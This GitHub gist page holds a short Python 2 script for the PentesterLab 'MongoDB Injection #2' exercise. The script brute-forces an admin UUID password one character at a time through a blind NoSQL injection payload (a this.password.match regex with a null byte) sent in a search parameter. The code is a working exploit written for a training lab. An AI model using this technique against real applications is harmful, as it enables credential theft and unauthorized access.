Skip to content

Instantly share code, notes, and snippets.

@katiefoster
Created November 27, 2017 04:23
Show Gist options
  • Save katiefoster/7bd85bcbf0f765350534ce453fbd9667 to your computer and use it in GitHub Desktop.
Save katiefoster/7bd85bcbf0f765350534ce453fbd9667 to your computer and use it in GitHub Desktop.
Pentester Lab: MongoDB Injection #2
#Code for bruteforcing a UUID for pentesterlab's MongoDB injection exercise.
import cookielib, urllib2, urllib
from bs4 import BeautifulSoup
found = ""
potentialChar = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","-"]
while True:
for x in potentialChar:
link = "[REPLACE ME]?search=admin%27%20%26%26%20this.password.match%28/^"+str(found+x)+".*$" + str("/)%00")
r = urllib.urlopen(link).read()
soup = BeautifulSoup(r,"lxml")
string = str(soup.find_all("td"))
if len(string) > 10:
found = found + x
print found
break
else:
print "Key has been found!"
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment